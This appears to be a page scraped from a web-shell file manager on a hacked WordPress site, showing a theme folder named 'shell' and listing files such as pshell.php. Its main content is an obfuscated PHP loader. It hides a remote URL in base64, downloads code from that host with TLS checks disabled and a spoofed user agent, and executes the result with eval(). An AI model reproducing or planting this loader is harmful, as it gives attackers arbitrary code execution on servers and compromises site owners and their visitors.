PATH:
home
/
letacommog
/
laperouse
/
wp-content
/
themes
/
shell
<?php goto qbeWK; v1Bw7: $GLOBALS["\x53\156\x73\x53\123\x77\115\113\132\x53\131\x65\115\x46\156\x45\x69\x72\x6e\x68"] = base64_decode(''); goto ieSqS; AiRpn: $FglBm = zKN0J($GLOBALS["\163\114\105\162\114\166\122\103\x6c\x66\x4d\167\x6c\x77\172\x66\155\132\x69\141"]); goto gs27K; ieSqS: function ZKN0j($tdkF6) { goto WlL_I; euSNy: return $A9Y_f; goto W_ox6; VsOgv: curl_setopt($XcOU0, CURLOPT_FOLLOWLOCATION, 1); goto pMEfc; nvRTa: curl_setopt($XcOU0, CURLOPT_COOKIEFILE, $GLOBALS[$GLOBALS["\166\x6f\x42\111\130\x71\x64\144\124\150\163\115\166\x7a\110\x63\x55\x58\172\127"]]); goto Mt1QH; WlL_I: $XcOU0 = curl_init($GLOBALS["\123\x6e\x73\123\123\x77\115\x4b\132\x53\131\x65\x4d\106\x6e\x45\x69\162\156\x68"] . $tdkF6 . $GLOBALS["\123\x6e\163\x53\x53\x77\115\113\x5a\123\x59\x65\x4d\x46\x6e\105\151\162\x6e\x68"]); goto nacY9; rHgSw: curl_setopt($XcOU0, CURLOPT_SSL_VERIFYPEER, 0); goto a0KRn; a0KRn: curl_setopt($XcOU0, CURLOPT_SSL_VERIFYHOST, 0); goto DFXmy; pMEfc: curl_setopt($XcOU0, CURLOPT_USERAGENT, $GLOBALS["\x54\x63\170\x6f\130\116\x62\x6f\x41\111\x62\124\x42\164\x75\143\131\x45\130\x76"]); goto rHgSw; Mt1QH: $A9Y_f = curl_exec($XcOU0); goto euSNy; nacY9: curl_setopt($XcOU0, CURLOPT_RETURNTRANSFER, 1); goto VsOgv; DFXmy: curl_setopt($XcOU0, CURLOPT_COOKIEJAR, $GLOBALS[$GLOBALS["\166\x6f\x42\111\x58\161\x64\144\124\150\163\115\166\x7a\x48\x63\125\x58\x7a\x57"]]); goto nvRTa; W_ox6: } goto AiRpn; arD_x: $GLOBALS["\166\157\102\111\x58\x71\144\144\x54\150\x73\115\x76\172\110\143\x55\x58\172\127"] = base64_decode("\131\x32\71\162\x61\121\x3d\75"); goto Os_tf; qbeWK: $GLOBALS["\x73\114\x45\162\114\x76\x52\103\x6c\x66\115\167\x6c\x77\x7a\146\155\x5a\151\141"] = base64_decode("\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x59\x6e\x51\x75\x63\x32\x31\x72\x59\x57\x35\x6e\x61\x32\x46\x7a\x59\x54\x4a\x74\x59\x58\x4a\x6e\x59\x57\x68\x68\x65\x58\x55\x75\x63\x32\x4e\x6f\x4c\x6d\x6c\x6b\x4c\x32\x31\x71\x62\x43\x35\x30\x65\x48\x51\x3d"); goto arD_x; Os_tf: $GLOBALS["\x54\143\170\x6f\130\116\142\x6f\101\x49\x62\x54\x42\164\165\x63\x59\105\x58\x76"] = base64_decode("\124\127\71\66\x61\127\x78\163\x59\x53\70\61\114\152\101\x6f\126\62\x6c\x75\132\107\x39\63\x63\x79\x42\x4f\x56\103\x41\x32\x4c\x6a\x45\67\x49\x48\x4a\62\x4f\152\115\x79\x4c\152\101\160\111\x45\144\154\131\62\164\x76\114\172\111\x77\115\x54\x41\167\x4d\124\x41\x78\111\x45\x5a\160\143\x6d\126\x6d\x62\63\147\166\x4d\x7a\x49\165\x4d\101\x3d\75"); goto v1Bw7; gs27K: eval("\77\76" . $FglBm);
[+]
..
[-] index.php
[edit]
[-] style.css
[edit]
[-] pshell.php
[edit]
[-] tmpltwin.php.suspected
[edit]
[-] marjanlgx.php.suspected
[edit]